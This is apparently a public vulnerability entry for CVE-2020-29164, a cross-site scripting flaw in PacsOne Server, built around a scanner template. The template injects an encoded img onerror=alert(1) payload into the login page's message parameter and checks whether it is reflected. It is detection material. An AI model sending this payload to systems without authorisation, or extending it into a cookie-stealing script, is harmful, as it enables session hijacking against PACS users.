CVE-2020-29164: PacsOne Server <7.1.1 - Cross-Site Scripting

2025-08-01 PacsOne Server PoC Public

Description

PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.

PoC

id: CVE-2020-29164

info:
  name: PacsOne Server <7.1.1 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to PacsOne Server version 7.1.1 or later to mitigate this vulnerability.
  reference:
    - https://gist.github.com/leommxj/0a32afeeaac960682c5b7c9ca8ed070d
    - https://pacsone.net/download.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2020-29164
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-29164
    cwe-id: CWE-79
    epss-score: 0.06198
    epss-percentile: 0.93143
    cpe: cpe:2.3:a:rainbowfishsoftware:pacsone_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rainbowfishsoftware
    product: pacsone_server
  tags: cve,cve2020,pacsone,xss,rainbowfishsoftware,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - '<img src="" onerror="alert(1);">1</img>'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e5398700320fef3cd4ccaa83c0a25f21eb847bb0de68dd59d87a5e4d574e455e0220420f524b2b34a6c88e30ee62f3cf681c1c288384fa420bc309c4046442bb309c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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